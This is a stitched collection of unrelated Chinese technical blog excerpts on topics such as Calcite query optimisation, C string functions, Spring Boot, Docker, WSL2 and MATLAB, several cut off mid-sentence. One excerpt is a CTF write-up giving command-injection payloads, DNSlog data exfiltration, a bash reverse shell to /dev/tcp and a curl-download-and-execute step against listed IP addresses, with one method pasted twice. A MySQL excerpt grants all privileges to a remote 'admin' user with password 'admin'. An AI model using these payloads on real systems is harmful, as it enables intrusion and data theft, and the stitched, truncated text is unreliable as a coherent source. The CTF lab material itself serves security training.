文章目录 HepPlanner思考🤔流程规则规则定义定义匹配实现转换方法 核心代码分析生成有向无环图findBestExp应用规则 示例示例1(FilterMergeRule 规则)代码直接转换输出 示例2(FILTER_INTO_JOIN规则)代码直接转换输出 总结 HepPlanner HepPlanner是基于RBO 模型的一种优化器,单纯基于规则,对关系代数进行优化 思考🤔 AST 转换为RelNode,其实是一个树形结构,再由RelNode 生成执行计划,给人的第一感觉,如果要加速查询的话,也就是去优化这个树结构的执行顺序,很直接就会想到在树中根据规则去优化,这里的规则要表明,目标要优化哪种结构的子树。以下图2为例,对于两个连续的Filter 所表示的子树可以进行优化,合并为一个。 流程 规则 规则定义 以FilterMergeRule 规则为例,此规则是把多个Filter 进行合并 定义匹配 从代码中能看出来匹配规则是filterClass 的输入是filterClass,相当于连续两个过滤条件 实现转换方法 转换做法,把底下一个Filter的输入 压入栈中,再把两个Filter一起压入栈中 @Override public void onMatch(RelOptRuleCall call) { final Filter topFilter = call.rel(0); final Filter bottomFilter = call.rel(1); //示例如何重写计划 final RelBuilder relBuilder = call.builder(); relBuilder.push(bottomFilter.getInput()) .filter(bottomFilter.getCondition(), topFilter.getCondition()); call.transformTo(relBuilder.build()); } /** Rule configuration. */ @Value.Immutable public interface Config extends RelRule.Config { Config DEFAULT = ImmutableFilterMergeRule.Config.of() .

安鸾靶场之命令代码执行实操

webshell&中国菜刀 题目URL:http://47.100.220.113:8013 提示:flag在数据库里 首先访问一下网址,页面直接显示了webshell的URL地址,还给出了密码 那我们就直接上菜刀了,进来发现网站目录下有四个文件,有一个conn.php文件,我们打开看一下 直接就看到了数据库名,用户名及密码,那我们返回来在菜刀连接界面添加上数据库的信息 进入数据库,很容易就找到了flag,输入sql查询语句就可以查看 select id,flag from webshell.this_flag 命令执行01 题目URL:http://47.100.220.113:8031/ 可预测代码内容为 tar -czvf $_POST[‘name’] 我们来测试下bakup.tar.gz;ls 发现并无回显,我们无法判定是否有命令执行,这时我们就要借助dnslog平台了 DNSlog就是在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过这种 方式把想获得的数据外带出来。 DNSlog平台网址:http://dnslog.cn/ backup.tar.gz;ping -c 4 `whoami`.ke2eqm.dnslog.cn 知道有命令执行漏洞了,就好办了,以下列出两种方法供参考 第一种方法:写木马 #1、先在云服务器上编写反弹脚本 vim fantan.sh bash -i >& /dev/tcp/yourip/port 0>&1 #2、云服务器监听端口 nc -lvvnp 3456 #3、下载反弹脚本并执行 backup.tar.gz;curl -O http://yourip:port/fantan.sh;bash fantan.sh 第二种方法:反弹shell #1、先在云服务器上编写反弹脚本 vim fantan.sh bash -i >& /dev/tcp/yourip/port 0>&1 #2、云服务器监听端口 nc -lvvnp 3456 #3、下载反弹脚本并执行 backup.tar.gz;curl -O http://yourip:port/fantan.sh;bash fantan.sh 破壳漏洞 CVE编号:CVE-2014-6271 题目URL:http://118.190.133.35:8029/cgi-bin/poc.cgi 提示:flag在服务器根目录 2014年9月25日,外媒曝出一个广泛存在于主流操作系统的漏洞bash,该漏洞会影响到Redhat、CentOS、Ubuntu、Debian、Fedora 、AmazonLinux、OS X 10.

strncpy、strncat、strncmp函数的使用说明和模拟实现

在前面的文章中,我已经介绍了长度不受限制的字符串函数。今天我来介绍几个长度受限制的字符串函数,并且模拟实现这些长度受限制的字符串函数。 目录 strncpy函数strncat函数strncmp函数 strncpy函数 strncpy函数也是一个拷贝函数,但是与strcpy函数有所不同,strncpy函数是从源字符串拷贝num个字符到目标字符串,num是strncpy函数的一个参数,当源字符串的字符数目小于num时,在拷贝完源字符串后,会在目标字符串中追加0,直到达到num的数目。 由msdn查询可以得知,strncpy函数的返回值和参数是: char* strncpy(char* destination,const char* source,size_t num)。注意我们只关注返回类型和参数的类型,参数的名字不管。 接着,继续往下查询strncpy函数的返回值。 由msdn对strncpy的返回值的介绍可知,strncpy函数返回目标字符串的地址。 接下来,我来举一个strncpy函数的使用例子。 #include<stdio.h> #include<string.h> int main() { char arr1[20] = "abcdef"; char arr2[] = "xxxxxx"; printf("%s\n",strncpy(arr1,arr2,5)); return 0; } 由运行结果可以知道,strncpy函数确实从源字符串拷贝num个字符到目标字符串。 接下来,我来验证一下strncpy函数的拷贝过程中,源字符串达不到num个字符,那么就会在拷贝完源字符串后,在目标字符串后面补0,直到达到num个字符。 #include<stdio.h> #include<string.h> int main() { char arr1[20] = "abcdefhij"; char arr2[] = "xxxx"; printf("%s\n",strncpy(arr1,arr2,8)); return 0; } 在strncpy函数拷贝前,arr1的内容如下: 在strncpy函数拷贝后,arr1的内容如下: 在该程序中,arr2中有4个字符,而strncpy函数却要从arr2中拷贝8个字符到arr1,按照源字符串不足拷贝时,要在源字符串拷贝后补0,那么就要补4个0。由图片可以得知,arr1确实被覆盖了arr1的内容和4个0。 接下来,我来实现strncpy函数的模拟实现。 #include<stdio.h> #include<assert.h> #include<string.h> char* my_strncpy(char* dest,const char* src,size_t len) { char* ret = dest; int offset = 0; assert(dest !

数电基础知识——原码、反码、补码

#补码 #数电基础知识 个人理解 补码的来源: 例子:如果对于调整钟表时间来说,假设现在为5点,调整为十点,可以选择顺时针增加五,也可选择逆时针增加7。 这时,-7则可以看作5相对于12的补码. 原码计算: 1011-0111=0100 可以换位 1011+1001=0100 1001和0111是对16的补码 反码: 当原码为正数时,反码仍为本身 当原码为负数时,符号位不变,其余位取反 对有效数字的补码和原码之间的运算是:

spring boot项目server.tomcat.max-threads配置失效问题

问题描述: 我们都知道,在一个spring boot项目中,我们的tomcat服务器启动以后,默认是以线程池的方式去循环利用线程的,那么如果我们想设置服务启动以后,始终以一个执行不同的请求,不同的任务,那么网上的说法就是配置tomcat服务器最大线程数server.tomcat.max-threads=1;然后我就配置了这个参数试一下 测试情况: 配置文件增加配置`server.tomcat.max-threads=1 第一次请求: ` 第二次请求: 很明显,两次请求执行的线程名字不一样,那么在tomcat线程池中,至少存在两个线程;所以server.tomcat.max-threads配置失效 查了资料以后发现spring 2.3版本以后不能再使用server.tomcat.max-threads了,我的项目用的是spring 2.6.7,所以没有生效,要使用server.tomcat.threads.max=1。 修改配置以后重启服务: 第一次请求: 第二次请求: 说明已经生效。

10208 - 简易计算器

编写一个简易计算器程序。用户输入运算数和四则运算符,输出计算结果。 输入 输入格式如下 运算数1 运算符 运算数2 输出 输出计算结果。 样例 输入 11 * 3 输出 33 输入 60 / 5 输出 12 提示 数据范围:输入数据和输出数据均为正整数; 除法运算结果定为整数取商。 时间限制1000 毫秒内存限制128 MB 简易计算器只有‘+’,‘-’,‘*’,‘/’。所以只需要用一个多分支语句即可。 解析: #include<bits/stdc++.h> using namespace std; int main() { int n,m,l; char s; cin >> n >> s >> m; if(s == '+') l = n + m; if(s == '-') l = n - m; if(s == '*') l = n * m;

StarUML工具

StarUML工具 1、提示弹框Unregistered Version StartUML一直提示Unregistered Version解决 2、网格背景\白色背景 切换 快捷键:CTRL+G 3、DevTools设置中文 打开DevTools,点击右上角设置图片,preferences中Language设置(Version 5.0.2);没有看到StarUML里面有设置的地方了

stm32之printf函数

1.函数 printf,这个函数,学过c语言的同学都知道,这个函数会帮我们将数据输出到终端上面。 在stm32里面,我们没有屏幕终端,那这个函数是输出到哪里?有同学说到串口,其实这是可以的,不管输出到哪里,主要看我们怎么实现int fputc(int ch, FILE *f);这个函数,printf最后还是这个函数,在这个函数里面我们可以设置我们的输出的地方,比如uart通信的输出寄存器,显示屏的显示寄存器,或者是蓝牙,wifi的都可以。下面给的是uart协议的输出。 //重定义fputc函数 int fputc(int ch, FILE *f) { while((USART1->SR&0X40)==0);//循环发送,直到发送完毕 USART1->DR = (u8) ch; return ch; } 所以,这个函数具体是什么怎么用,我们都知道了,这样我们就很清楚数据的流向了,搞底层的需要清楚一点。

关于SSM的家具购物系统的设计答辩问题合集

答辩老师常问问题合集 7、论文的主要研究方法是什么?(方法名称+实际案例运用) 本文主要运用了专业的×××方法(调查法,深度访谈法,文献法),针对×××展开研究,在得到×××数据的基础上,通过构建×××模型和×××情景,得到了×××结果,并以具体的×××例子展开应用,得到较好的应用结果。 8、论文有什么不足之处? 一是在×××方面论述的不够详尽,对于×××没有提及。 二是本文采用了×××、×××方法,但对于×××专业特有的方法运用不够。 9、论文是否具有可行性? 论文是具有可行性的,本文研究×××问题是为了在×××方面有所应用,并通过×××具体案例证实了在×××方面具有可行性。 10、论文数据来源是哪里,数据样本是什么? 本文的数据主要来自×××问卷调查或×××官网网站,参考×××论文中的部分数据,按照×××方法对×××数据进行筛选,并应用×××软件对×××进行剔除,得到了本文×××的样本,后续采用×××方法进行研究。 11、论文中相关定义的解释,理论解释? 要求你掌握本文研究中重点的一些概念及定义。有一些概率可以做一些生活中的举例来加深记忆。回答的时候也可以根据定义来加以拓展,比如:老师,这个问题我是这样理解的,以生活中的案例来举例,×××概念就好比×××中的××××,对×××是非常重要的。 12论文参考了哪些重要的文献? 本论文参考了×××(作者姓名)所撰写的×××(论文)题目,论文中介绍了×××理论,解决了×××问题,本文借鉴了相应的方法,对相关的方法进行了改进,不同之处在于×××,因此提高了×××精读,更加的方便快捷。 13、论文得到了哪些重要的结论? 论文对×××问题展开研究。得到的结论有: 一是对×××方法进行了改进,因此提升了准确度。 二是目前该领域对×××问题的研究甚少,本文的研究对于丰富×××理论起到了重要的意义。 三是本文的理论应用于实际中标明,本文对提升×××方面的问题具有重要的意义,具有一定的推广价值。

如何实现mysql的远程连接

如何实现mysql的远程连接 总览细致讲解1、mysql数据库允许外部客服端访问2、服务端主机打开mysql连接的防火墙端口3、用户名和密码正确,测试连接其他问题 总览 1、服务端主机打开mysql连接的防火墙端口 2、mysql数据库允许外部客服端访问 3、用户名和密码正确 4、顺利连接 细致讲解 1、mysql数据库允许外部客服端访问 原来Mysql默认是不可以通过远程机器访问,检查自己的数据库是否如下图。(图中才是允许外部访问的) 设置步骤: mysql> GRANT ALL ON *.* TO admin@'%' IDENTIFIED BY 'admin' WITH GRANT OPTION; Query OK, 0 rows affected (0.01 sec) mysql> select user,host from mysql.user; +-------+------+ | user | host | +-------+------+ | admin | % | | root | % | +-------+------+ 2 rows in set (0.01 sec) #这是在确认权限修改成功 mysql> flush privileges; Query OK, 0 rows affected (0.

docker容器设置和取消自启动的方法

命令 说明 docker inspect 容器名称 | grep "RestartPolicy" -A 3 查看指定容器的自启动配置 no:不自动重启 on-failure:容器错误退出则自动重启 always:容器停止则自动重启,手动停止后将在docker守护程序重启后自动重启 unless-stopped:除了当容器停止(手动或其他方式)时,即使在Docker守护程序重新启动后也不会重新启动容器 docker update --restart=always 容器名称 开启指定容器自启动 docker update --restart=no 容器名称 关闭指定容器自启动 查看容器“zabbix-server-mysql”当前自启动配置状态 关闭容器“zabbix-server-mysql”的自启动配置 再次查看容器“zabbix-server-mysql”当前自启动配置状态

matlab彩色图像的R、G、B三个分量以灰色和彩色的形式显示

RGB 是最常用于显示器的色彩空间,R(red)是红色通道,G(green)是绿色,B(blue)是蓝色通道。这三种颜色以不同的量进行叠加,就可以显示出五彩缤纷的色彩。 RGB图像由格式为M×N×3的三维数组组成,其中的“3”可以理解为三幅M×N的二维图像(灰度值图像)。这三幅图像分别代表R、G、B分量,每个分量的像素点取值范围是[0,255]。RGB 格式里(0,0,0)代表着黑色,(255,255,255)代表着白色。R channel数值越高,说明颜色中含有的红色分量越多。 两种方法如下: (1)灰度值法 clc;%clc的作用就是清屏幕 clear;%clear是删除所有的变量 close all;%close all是将所有打开的图片关掉。 image=imread('E:\我的桌面\MATLAB\练习\2.jpg');%绝对路径的 R=image(:,:,1); G=image(:,:,2); B=image(:,:,3); subplot(221);imshow(image);title('原图像') subplot(222);imshow(R);title('R通道') subplot(223);imshow(G);title('G通道') subplot(224);imshow(B);title('B通道') (2)彩色显示法 clc;%clc的作用就是清屏幕 clear;%clear是删除所有的变量 close all;%close all是将所有打开的图片关掉。 f=imread('E:\我的桌面\MATLAB\练习\2.jpg'); R=f(:,:,1); %获取红色分量 G=f(:,:,2); %获取绿色分量 B=f(:,:,3); %获取蓝色分量 f1=f; %红色通道图片 f1(:,:,1)=R; f1(:,:,2)=0; f1(:,:,3)=0; f2=f; %绿色通道图片 f2(:,:,1)=0; f2(:,:,2)=G; f2(:,:,3)=0; f3=f; %蓝色通道图片 f3(:,:,1)=0; f3(:,:,2)=0; f3(:,:,3)=B; subplot(2,2,1);imshow(f);title('原图像'); subplot(2,2,2);imshow(f1);title('红色'); subplot(2,2,3);imshow(f2);title('绿色'); subplot(2,2,4);imshow(f3);title('蓝色');

datart在windows的源码部署

datart在windows的源码部署 IDEA克隆master分支编译Parser.jj安装javaCC插件编译项目创建mysql数据库修改后端配置启动后端 启动前端登录页面 参考这篇微博:【datart】数据可视化工具datart在IDEA中进行代码调试 IDEA克隆master分支 https://gitee.com/running-elephant/datart.git 编译Parser.jj Parser.jj的路径:data-providers/data-provider-base/src/main/java/codegen/Parser.jj 由于datart-master的项目中有.jj文件,属于javacc的编译文件,所以在构建的时候会有一些报错,主要在SqlParserUtils.java中找不到SqlParserImpl的实现类 codegen/Parser.jj的文件需要使用javacc编译之后才能生成一堆的跟SqlParser相关的java类 安装javaCC插件 在IDEA的插件市场安装javaCC 编译项目 maven clean maven install 创建mysql数据库 CREATE DATABASE `datart` CHARACTER SET 'utf8' COLLATE 'utf8_general_ci'; 修改后端配置 注意配置文件位置,不像发行版上的部署步骤配置config/datart.conf 请修改serve模块下的配置文件server/target/classes/application-demo.yml spring: datasource: # driver-class-name: org.h2.Driver # type: com.alibaba.druid.pool.DruidDataSource # url: jdbc:h2:file:./bin/h2/datart.demo;MODE=MySQL;DATABASE_TO_LOWER=TRUE;IGNORECASE=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;IFEXISTS=TRUE # username: # password: driver-class-name: com.mysql.cj.jdbc.Driver type: com.alibaba.druid.pool.DruidDataSource url: jdbc:mysql://127.0.0.1:3306/datart?allowMultiQueries=true&characterEncoding=utf-8&useUnicode=true username: root password: root 如果只配置datart.conf的信息,当前后端都启动后,当登录页面点击登录后会报404错误 启动后端 启动应用,路径:server/src/main/java/datart/DatartServerApplication.java 启动前端 主要使用 npm install 进行项目构建、安装组件, 没有问题之后使用 npm start 进行启动, 默认端口为:3000 登录页面 http://localhost:3000/

WSL2的安装与使用-Windows与Linux双系统的新选择

文章目录 WSL2的安装与使用-Windows与Linux双系统的新选择1. WSL是什么2. 为什么会有WSL3. 为要选择WSL2作为开发环境3.1 WSL与WSL2有什么区别3.2 Windows与Linux系统的抉择 4. WSL2的安装4.1 安装条件4.2 启用所需Windows功能4.3 设置默认WSL版本4.4 安装Linux发行版4.5 打开Linux发行版4.6 导出与导入Linux发行版 5. WSL2的使用5.1 文件操作5.2 Linux子系统的配置5.3 使用VScode连接到WSL25.4 使用Pycharm连接到WSL2 6. 总结 WSL2的安装与使用-Windows与Linux双系统的新选择 既要使用Windows系统满足日常生活,协作办公,又要使用Linux系统满足开发工作,双系统来回重启好麻烦,双主机成本高,远程服务器好多限制,WSL也许是更好的解决方案,可以摆脱以上困扰 1. WSL是什么 WSL全称Windows Subsystem for Linux,适用于Linux的Windows子系统 WSL就是Windows系统下的一个Linux子系统,可以像一个应用一样安装在Windows系统中,为在Windows系统下进行开发的人员提供基于Linux系统的开发环境,并且可以选择不同Linux发行版本,拥有与原生Linux系统相同的大部分功能 微软对WSL描述为:适用于 Linux 的 Windows 子系统可让开发人员按原样运行 GNU/Linux 环境 - 包括大多数命令行工具、实用工具和应用程序 - 且不会产生传统虚拟机或双启动设置开销 2. 为什么会有WSL 在通用计算机系统领域Windows拥有着无法撼动的地位,但是Linux具有免费、开源、高安全性、高可用性等特点,在服务器、嵌入式开发、软件开发等领域中,Linux仍是主流的选择。虽然Linux系统拥有诸多优点,但是大部分人日常生活的使用还是无法脱离Windows系统,所以有不少人更多是日常生活用Windows,开发工作用Linux 微软现任CEO纳德拉上任以来开始拥抱开源,微软一度成为开源项目最大贡献者,在收购GitHub之后,又推出了一系列开源产品,如VScode、TypeScript等 微软在2018年发布了WSL,在2019发布了WSL2,作为一个重要的升级,大大增加了文件系统的性能,增加了对全系统调用兼容性的支持,增加了对使用基于 GUI 的 Linux 应用程序的支持。目前,Windows Server 2022已支持WSL2 Linux发行版,也代表WSL2现在已经覆盖了Windows Desktop和Windows Server 当然,微软作为一个商业公司,此举还是为了吸引更多的用户使用Windows 3. 为要选择WSL2作为开发环境 3.1 WSL与WSL2有什么区别 从上面的比较表中可以看出,WSL2架构在几个方面优于WSL1,并且WSL2拥有完整的Linux内核。对于跨OS文件系统的性能,微软也给出了解决办法:可通过将项目文件存储在与处理项目时运行的工具相同的操作系统上进行处理 3.2 Windows与Linux系统的抉择 日常生活办公需要Windows,开发工作需要Linux,对于两者都有需求的人来讲,都不可避免的要来回切换不同的操作系统。虽然,部分人可以在一些Linux发行版上满足日常生活办公的需求,但是,不可否认Windows拥有更加强大的生态和便捷性,更重要的是大家都是合作办公,需要交互。针对双系统的需求,有几种不同的解决方案,各有利弊 解决方案利弊双主机分别安装Windows与Linux独立运行、物理隔离成本高、不同系统数据传输不便单主机双系统真实操作系统使用麻烦,需要重启切换搭建远程服务器真实操作系统成本高、可能受到性能、带宽的限制Linux系统虚拟机使用与真实操作系统基本无差异占用资源、运行效率低WSL2使用便捷、无缝切换、不会产生传统虚拟机或双启动设置开销系统功能可能不完整、无法支持某些软件 对于Windows与Linux系统都有需求的人来说,WSL2是一个非常棒的解决方案,既能满足我们在日常生活办公中使用Windows,又能在开发工作中方便快捷的使用Linux 但是,WSL2毕竟是Windows下的Linux子系统,其运行稳定性的上限还是取决于其宿主Windows系统。若是追求高安全性与稳定性的专用服务器、工作站等,还是直接安装Linux系统

查看Linux系统版本信息

查看Linux系统版本信息 查看linux系统内核版本 命令:cat /proc/version 查询示例结果: Linux version 3.10.0-234.el7.x86_64 (sss@kojibuilder-ve) (gcc version 4.8.5 20051234 (NeoKylin 4.8.5-36) (GCC) ) #1 SMP Fri Jan 11 17:34:50 CST 2001 命令:uname -a 查询示例结果: Linux iZpt8760b0nry1zz1o0aarZ 3.10.0-957.el7.x86_64 #1 SMP Fri Jan 11 10:34:20 CST 2000x86_64 x86_64 x86_64 GNU/Linux 查看linux系统发行版本 命令:cat /etc/redhat-release 查询示例结果: Red Hat Enterprise Linux Server release 7.6 (Maipo) 命令:cat /etc/.productinfo 查询示例结果: NeoKylin Linux Advanced Server release V7Update6/(Chromium)-X86_64 b4.lic/20190820

集合_HashTable与HashMap

HashTable出现于1.0版本 HashMap出现于1.2版本 HashTable是线程安全的(synchronized锁) HashMap是线程不安全的 因HashTable中存在synchronized锁 故其效率较之HashMap低 HashTable使用头插法 HashMap自1.8版本以后使用尾插法 原因是在并发情况下 若没有进行线程同步 头插法有很小的概率会导致死循环 HashTable存放的也是k-v键值对 但是均不能为null 否则会抛出NullPointerException HashTable中的table数组存放的数据类型为HashTable.Entry 默认容量为11 默认临界值为11*0.75=8 HashMap中的table数组存放的数据类型为HashMap.Node 默认容量为16 默认临界值为16*0.75=12 HashTable扩容机制简述: 1.int newCapacity = (oldCapacity << 1) + 1 2.若newCapacity - MAX_ARRAY_SIZE > 0 则进行判断: 1.若oldCapacity == MAX_ARRAY_SIZE 则return oldCapacity 2.否则newCapacity = MAX_ARRAY_SIZE 3.以newCapacity进行扩容 HashTable扩容机制部分代码: protected void rehash() { int oldCapacity = table.length; Entry<?,?>[] oldMap = table; // overflow-conscious code int newCapacity = (oldCapacity << 1) + 1; if (newCapacity - MAX_ARRAY_SIZE > 0) { if (oldCapacity == MAX_ARRAY_SIZE) // Keep running with MAX_ARRAY_SIZE buckets return; newCapacity = MAX_ARRAY_SIZE; } Entry<?

SpringBoot实现AOP日志功能(自定义注解的使用)

什么是AOP? AOP(Aspect-Oriented Programming:面向切面编程):是指将那些与业务无关,却被多个业务模块所共同调用逻辑或责任(例如事务处理、日志管理、权限控制等)封装起来,便于减少系统的重复代码,降低模块间的耦合度,提升系统的可维护性。 AOP的作用 AOP 采取横向抽取机制(动态代理),取代了传统纵向继承机制的重复性代码,其应用主要体现在事务处理、日志管理、权限控制、异常处理等方面。 主要作用是分离功能性需求和非功能性需求,使开发人员可以集中处理某一个关注点或者横切逻辑,减少对业务代码的侵入,增强代码的可读性和可维护性。 简单的说,AOP 的作用就是保证开发者在不修改源代码的前提下,为系统中的业务组件添加某种通用功能。 AOP的应用场景 比如典型的AOP的应用场景: 日志记录事务管理权限验证性能监测 AOP可以拦截指定的方法,并且对方法增强,比如:事务、日志、权限、性能监测等增强,而且无需侵入到业务代码中,使业务与非业务处理逻辑分离。 步骤 详细配置请看 Spring-AOP的实现Spring-AOP的原理 1,导入maven配置 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-aop</artifactId> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.66</version> </dependency> 复制代码 2,配置一个自定义注解 package com.example.aop.config; import java.lang.annotation.*; /** * @Program: aop * @ClassName SysAnnotation * @Description: 自定义系统操作注解 * @Author: liutao * @DateTime: 2022/6/5 2:32 * @Version: 1.0 */ @Target(ElementType.METHOD) @Retention(RetentionPolicy.RUNTIME) @Documented public @interface SysAnnotation { String operMoudle() default "";//操作模块 String operMethod() default "";//操作方法 String operDes() default "

利用 Python 制作地图

提示:文章内容以案例为主 目录 一、基础地图制作 二、国内疫情地图 总结 前言 主要介绍一下如何利用python制作地图效果 提示:以下是本篇文章正文内容,下面案例可供参考 一、基础地图制作 代码 from pyecharts.charts import Map # 准备地图对象 map = Map() # 准备数据 data = [ ("北京", 99), ("上海", 199), ("湖南", 299), ("台湾", 399), ("内蒙古", 499) ] # 添加数据 map.add("测试地图", data, "china") map.render() 目录会产生如下效果 效果图(点击html文件用浏览器查看) 二、国内疫情地图 准备工作:需要准备一个国内疫情数据文本放到D盘然后进行 import json from pyecharts.charts import Map from pyecharts.options import * # 读取数据文件 f = open("D:/疫情.txt", "r", encoding="UTF") data = f.read() # 全部数据 # 关闭文件 f.

什么是电压跟随器 ?

输出电压直接接到反相输入端,反相输入端不再接地就形成电压跟随器。 如图所示: 电路引进了电压串联负反馈,且反馈系数是1。 得到输出电压Uo和输入电压Ui的关系为:Uo=Ui 严谨的来讲,这里输入与输出应该是无限接近。理想情况是输入等于输出。 这里无论输入的Ui是交流信号还是直流信号都是如此。 此时的电压跟随器的作用有以下几个作用: 1.可以用于前后级的隔离(模数或者是数模的隔离)。 2.输入阻抗高而输出阻抗小,从而带负载能力变强,具有更强的驱动能力。 3.匹配前后级的阻抗。 一般的电压跟随器的作用就这三点 电压跟随器就是特殊的运算放大器,他就是由基本的运算放大器构造而成的。 这就是典型的运算放大器 当R1为无穷大的时候,此时RF/R1逐渐趋近于0,所以AU=1+0=1,所以VIN=VOUT 由于R1为无穷大,所以可以视为电阻开路。故舍去R1。 此时就是特殊的运算放大器了 。 需要注意的是电阻RF是起保护的作用,阻值一般不大就1K左右都行。 另外一般电压跟随器的后级都是接运算放大器对信号进行放大 此时的电压跟随器就是起到隔离信号的作用。

linux网卡软中断绑定

首先关闭irqbalance服务,用cat /sys/class/net/<网口名>/device/numa_node查询网卡归属于哪个numa节点, 然后用lscpu命令查询该numa节点对应哪些CPU core, 用cat /proc/interrupts | grep <网口名> | awk -F ‘:’ '{print $1}'查询网卡中断号, 将软中断绑定到该numa节点对应的core上,即echo <core编号> > /proc/irq/<中断号>/smp_affinity_list。 echo <core编号> > /proc/irq/<中断号>/smp_affinity_list cat /proc/interrupts | grep <网口名> | awk -F ‘:’ ‘{print $1}’ for i ps -ef|grep rgw | grep -v grep | awk '{print $2}'; do echo <core编号> > /proc/irq/<中断>/smp_affinity_list ;done